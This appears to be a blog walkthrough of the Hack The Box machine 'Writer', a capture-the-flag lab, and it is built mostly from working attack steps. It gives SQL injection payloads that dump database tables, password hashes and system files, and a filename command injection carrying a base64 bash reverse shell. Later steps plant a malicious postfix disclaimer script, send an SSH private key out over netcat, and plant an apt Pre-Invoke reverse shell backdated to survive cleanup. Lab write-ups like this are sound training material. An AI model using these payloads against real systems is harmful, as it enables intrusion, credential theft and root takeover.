Link: https://app.hackthebox.eu/machines/361
IP: 10.129.153.67
NOTE: Halfway through I got stuck so I stopped and came back later. It turns out I had a second VPN running and it was blocking me from accessing the website on the box. The IP changes to 10.129.209.140 later on
Enumeration
Initial TCP Port Scan

Our initial port scan reveals we have a linux machine with SSH , a web server, and samba file share open.
Enum4linux
I ran a enum4linux scan on the machine which also provided me with a wealth of information, most notably:
- Local users: kyle, john
- Domain user WRITER\kyle
- 3 SMB shares: print$, writer2_project, IPC$
- A domain named WRITER with a minimum password length of 5 characters, max age of 37.25 days.
SMB Shares
It appears only Kyle has access to the write2_project smb share. Trying to access this anonymously or via john’s account returns access denied. However using kyle with no password gives us a logon failure instead:

Hydra Bruteforce SSH
I started with kyle as a username since it seems to be the only valid from above. I started a brute force
Web Server
Initially loading the server shows a website with several blog posts. I performed a gobuster scan and received the following results:

I navigated to the /administrative endpoint and we are greeted with a login page. I attempted some arbitrary credentials, it sends a POST request back to this page, and on error provides “Error: Incorrect credentials supplied”.
I found a guide to test SQL injection using sqlmap from here. I fired up burp suite and saved the POST request to a file, admin_post.txt
Now:
sqlmap -r admin_post.txt -p uname
Sure enough,
[11:04:54] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
I allowed sqlmap to continue but made it not follow the redirect and it provided me with two payloads to login:
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=kyle' AND (SELECT 3519 FROM (SELECT(SLEEP(5)))glDs) AND 'LwZv'='LwZv&password=kyle
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: uname=kyle' UNION ALL SELECT NULL,CONCAT(0x7176786271,0x4346777763574b507751444f4f45754e63567856686b5a4f5370734a42626b446948787a4e706365,0x717a627871),NULL,NULL,NULL,NULL-- -&password=kyle
---
Logged in, we can see the only user is admin, and at first glance it appeared we had the ability to upload a logo, but the form does not actually do anything.
I decided to go back and capture the login with Burp and the second parameter of the UNION actually is echoed back out to us with a welcome message. we can use this to get information about the database and tables.
SQL Injection
My first payload was
uname=kyle' UNION ALL SELECT NULL,(SELECT GROUP_CONCAT(TABLE_NAME) FROM
INFORMATION_SCHEMA.TABLES),NULL,NULL,NULL,NULL-- -&password=kyle
This returned:
Welcome ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHECK_CONSTRAINTS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENABLED_ROLES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_CACHES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,SYSTEM_VARIABLES,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,GEOMETRY_COLUMNS,SPATIAL_REF_SYS,CLIENT_STATISTICS,INDEX_STATISTICS,INNODB_SYS_DATAFILES,USER_STATISTICS,INNODB_SYS_TABLESTATS,INNODB_LOCKS,INNODB_MUTEXES,INNODB_CMPMEM,INNODB_CMP_PER_INDEX,INNODB_CMP,INNODB_FT_DELETED,INNODB_CMP_RESET,INNODB_LOCK_WAITS,TABLE_STATISTICS,INNODB_TABLESPACES_ENCRYPTION,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FIELDS,INNODB_CMPMEM_RESET,INNODB_SYS_COLUMNS,INNODB_FT_INDEX_TABLE,INNODB_CMP_PER_INDEX_RESET,user_variables,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_FT_BEING_DELETED,INNODB_BUFFER_POOL_STATS,INNODB_TRX,INNODB_SYS_FOREIGN,INNODB_SYS_TABLES,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_CONFIG,INNODB_BUFFER_PAGE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_INDEXES,INNODB_SYS_VIRTUAL,INNODB_TABLESPACES_SCRUBBING,INNODB_SYS_SEMAPHORE_WAITS,site,stories,users
The users table seems interesting.
We can get a list of column names like so:
uname=kyle' UNION ALL SELECT NULL,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'),NULL,NULL,NULL,NULL-- -&password=kyle
Welcome id,username,password,email,status,date_created
Now modify it to just get the password, and we only have one account:
uname=kyle' UNION ALL SELECT NULL,(SELECT GROUP_CONCAT(password) FROM users),NULL,NULL,NULL,NULL-- -&password=kyle
Welcome 118e48794631a9612484ca8b55f622d0
hashid tells us this is probably an MD5 password so let’s crack it with john.
john admin.txt -w /usr/share/wordlists/rockyou.txt --format=Raw-MD5
emerald (?)
Unfortunately, this doesn’t work. Let’s try hashcat:
hashcat -a 0 -m 0 -O admin.txt /usr/share/wordlists/rockyou.txt s
Continuing back on our Union injection, I used SELECT LOAD_FILE('/etc/passwd') to get a readout of the passwd file:
Welcome root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
Using DATABASE() and SELECT USER() and SELECT VERSION() tell us we are admin@localhost using the writer database with version 10.3.29-MariaDB-0ubuntu0.20.04.1.
We also know the server is running apache from the headers, we can use SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf') which returns:
Welcome # Virtual host configuration for writer.htb domain
<VirtualHost *:80>
ServerName writer.htb
ServerAdmin [email protected]
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
# ServerName dev.writer.htb
# ServerAdmin [email protected]
#
# Collect static for the writer2_project/writer_web/templates
# Alias /static /var/www/writer2_project/static
# <Directory /var/www/writer2_project/static>
# Require all granted
# </Directory>
#
# <Directory /var/www/writer2_project/writerv2>
# <Files wsgi.py>
# Require all granted
# </Files>
# </Directory>
#
# WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
# WSGIProcessGroup writer2_project
# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
# ErrorLog ${APACHE_LOG_DIR}/error.log
# LogLevel warn
# CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
It appears we have a django application. We can see the wsgi.py file and the home is in /var/www/writer.htb, there is also a dev version that is commented out. Using LOAD_FILE() on the wsgi reveals a __init__.py, we can access this via SELECT LOAD_FILE('/var/www/writer.htb/writer/__init__.py') (Omitting due to length)
Bingo!
The most important part is that we use a python os.system call like so:
os.system("mv {} {}.jpg".format(local_filename, local_filename))
This needs to be our point of attack
Admin Dashboard
I logged back into the admin dashboard with our union payload and found we can edit the stories and upload images here.
From our source code above, we know we need to exploit the mv command. Using the repeater for burp suite, we can see it passes the filename in the request like so:
Content-Disposition: form-data; name="image"; filename="IMG-20201204-WA0004.jpg"
Content-Type: image/jpeg
Now we just need to craft something to exploit this system call.
...
-----------------------------21898178415046907472790574652
Content-Disposition: form-data; name="image"; filename="wow.jpg;`echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAu...NDQgMD4mMSIK | base64 -d | bash`"
Content-Type: image/jpeg
-----------------------------21898178415046907472790574652
Content-Disposition: form-data; name="image_url"
file:///var/www/writer.htb/writer/static/img/wow.jpg;`echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAu...NDQgMD4mMSIK | base64 -d | bash`
...
The most import part of the POST request is this. We need to create a file that includes .jpg in the string, and then have a reverse shell attached after. In this case, I used the following to generate the string
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1"' | base64
Finally, the second part uses that newly created file to actually execute the command. With nc -lvnp 4444 in another terminal, we get a reverse shell!
From www-data to kyle
We need to move from www-data to another user. In the /home directory, we have users john and kyle. kyle’s home directory contains our flag, but it’s only readable by kyle. With shell access, let’s see if any credentials are passed in the django app.
In the /var/www folder, we already knew from before we had a dev instance. Inside of /var/www/writer2_project/writerv2, there is a settings.py with information on possibly another database?
Database
https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'OPTIONS': {
'read_default_file': '/etc/mysql/my.cnf',
},
}
}
Performing a cat /etc/mysql/my.cnf get’s us this important detail:
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
Now we can connect via mysql:
mysql -u djangouser -p dev
Enter Password: DjangoSuperPasword
show tables;
...
select * from auth_user;
From this table, we get a user of kyle and a hash of pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=
Hashcat reference guide tells us this is a mode 10000 (CTRL+F for pbkdf2_sha256
I saved the hash to ~/kyle and we can load it with a wordlist into hashcat:
$ hashcat -a 0 -m 10000 kyle /usr/share/wordlists/rockyou.txt -o cracked_kyle
After 4m and 34s we are cracked! Now a simple cat cracked_kyle reveals our password:
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
Attempting this with ssh grants us access to kyle! Let’s grab that user flag!
Lateral Movement
With the user flag, we need to get admin/root privs. I always check sudo -l first, but unfortunately we have no sudo privs here. Looking in the /home directory, john’s account has ssh keys, but we cannot just waltz in and grab them as of yet. Running ps -aux does not show any running process under john, just a few for kyle and www-data, which would be the current SSH session and then stuff for the web server.
I started a python web server and threw LinEnum.sh onto the box and outputted the results into a text file for me to better look through.
Kyle is a member of smbgroup, which appears to allow smb access as well as a lot of group ownership over files in /var/www/writer2_project. John is a member of a group named management.
I was a little stumped here after looking through the LinEnum results. I went to the HTB forums for a bit of guidance and one user mentioned using pspy to examine processes. I found a blog article on using pspy on another HTB machine and how it helps find hidden cron jobs. I copied the pspy64 binary over to the machine using a python web server and then launched it.
I watched it for about 5 minutes and this is what I noticed:
- The system performs an
apt-get-updateevery 2 or so minutes - It wipes the /tmp directory just about as frequently
- It copies several different things from /root/.scripts/ every few minutes
- One of which is the writer2_project which gets copied to /var/www and then the server seems to be rebooted after this happens.
- A /root/.scripts/disclaimer is copied to /etc/postfix/disclaimer
- A /root/.scripts/postfix/master.cf is copied to /etc/postfix/master.cf
/etc/postfix
I checked out this /etc/postfix directory. The master.cf file that regularly gets copied seems to be a list of what this application does. The very last line shows an external delivery method of the user john:
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
It seems we can call this script to use /usr/sbin/sendmail to send something that includes the disclaimer.txt as well
This script seems to save mail to a file and then check if one of the disclaimer addresses ([email protected] or [email protected]) is in the file, if so then it bundles it up using /usr/bin/altermime and sends it.
I tried to run the script but we do not have write access to the /var/spool/filter location that it tries to save to. I ran netstat -l --numeric-ports and I can see the smtp port is open.
I checked back on the LinEnum file and realized that kyle is part of the filter group, and running ls -la /etc/postfix reveals that we have write access over the disclaimer bash script! So we can write our own bash script to run when disclaimer gets called, which in our case will be a reverse shell. If we had mailutils installed, we could send the mail using mail -s, but since we do not, we will need to use a python script. We will need to chain these together to ensure the cron job does not overwrite our script back between copying the file and calling the python script.
# cd to kyle's home
cd ~
# make our reverse shell (make sure that nc -lvnp 4443 is running!)
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.x.x/4443 0>&1"' > disclaimer
# wget our python script from our http server
wget http://10.10.x.x:8000/sendmail.py
# copy the file and then quickly execute our own sendmail script to fire the postfix queue
cp disclaimer /etc/postfix/disclaimer && python3 sendmail.py
The python sendmail.py script is the following:
import smtplib
host = "127.0.0.1"
port = 25
sender_email = "[email protected]"
receiver_email = "[email protected]"
message = """\
Subject: Hi there
Test_python_sender."""
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.sendmail(sender_email, receiver_email, message)
except Exception as e:
print(e)
finally:
server.quit()
From the master.cf file we saw, the mail queue will automatically use the /etc/postfix/disclaimer file as an argument when sending mail (it’s intended to suffix a disclaimer to the end of an email) so it fires with our payload instead and gives us a reverse shell!
Privilege Escalation
Persistence
Now our nc listener pops up as john@writer! Now this shell will not last very long. We can cd to /home/john/.ssh and let’s grab his id_rsa key.
# on our machine
nc -l -p 4445 > john
# on the target as john
nc 10.10.x.x 4445 < ~/.ssh/id_rsa
Wait a few moments then kill our listener with CTRL + C
# on our machine, check we got it
cat john
# update perms
chmod 600 john
# now let's use it
ssh [email protected] -i john
Now with a more stable shell, let’s scope around. We already know as john we are part of the management group, this must be useful for us in some capacity.
We are unable to run sudo -l as we do not have the password for john’s account.
We can find any files that our group owns using
find / -group management 2>/dev/null
The 2>/dev/null at the end is very important to hide all of the Permission denied messages that will clutter the screen.
Fortunately we do have rwx access to one directory! /etc/apt/apt.conf.d
This directory is what the cron job apt-get update checks for. We also know from pspy64 that it runs as uid=0 which is root. We will need to create a payload here that apt-get update executes as root that gives us a shell.
I found an example for priv esc with apt in this blog. It says we need to create a file, such as 1000pwned with the contents:
APT::Update::Post-Invoke {"id > /tmp/whoami";};
In our case, I am going to use a command for a shell like the one found in this blog:
echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.108 4444 >/tmp/f”};’ > /etc/apt/apt.conf.d/02pwned
I waited a bit and it never called. I checked pspy again and I missed a step:
/usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} ;
/usr/bin/apt-get update
The cron job checks for any files made in the last day and removes them before running apt-get update. We can use the touch command with flags amt in order to modify the timestamp as seen here.
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.108 4444 >/tmp/f"};' > /etc/apt/apt.conf.d/02pwned && touch -a -m -t 201912180130.09 02pwned
Running an ls -la in this folder now shows a date of Dec 18, 2019. We wait a few minutes and voila! Root Shell! Let’s grab the flag!
Conclusion
What a box! I first started this box back on 6 Aug 2021, just after getting my Security+ certification. But I was stumped and the hints did not make sense to me so I gave up. I restarted this box exactly a month later on 6 Sep 2021 after getting my PenTest+ certification. I still had to hop to the forums for some guidance but the hints started to make more sense. Still, getting the initial foothold was the hardest part of the box for sure. Using sql injection to arbitrarily read files, aka read the source of the application to find a vulnerability, then creating a custom payload for said vulnerability was insane.
Next came upgrading ourselves from www-data to an actual user. Luckily, I had found the apache conf file during the initial sql scoping and saw the additional folder in /var/www. It was just tracking down the conf file for the new dev database, and lucky for us our kyle user reused a very common password on ssh as well so we gained access.
Upgrading from john to kyle was another big roadblock for me. I saw a hint and learned a new tool, pspy64, which was super helpful in finding the background process copying those files. Once I found the files, I kept overlooking that I was in the filter group and had write access. I inititally kept trying to decode a way to exploit the existing disclaimer script instead of the ability to craft our own. I also had little understanding of how postfix worked, so I was unaware at first that creating our own send mail script would automatically fire off that script. I learned a lot about how postfix worked and was not expecting sending a test message could ever get us a reverse shell!
But it did not stop here! We srtill weren’t root. Fortunately at this stage I already felt I had learned a lot, I remembered to check my group again and then found a command to find all dir/files we had ownership of and that turned out to be the jackpot. It only took a quick google search to find a payload, but there was an extra ante of needing to modify the timestamp to prevent our file from being overwritten.
I learned a massive amount from this box and loved it!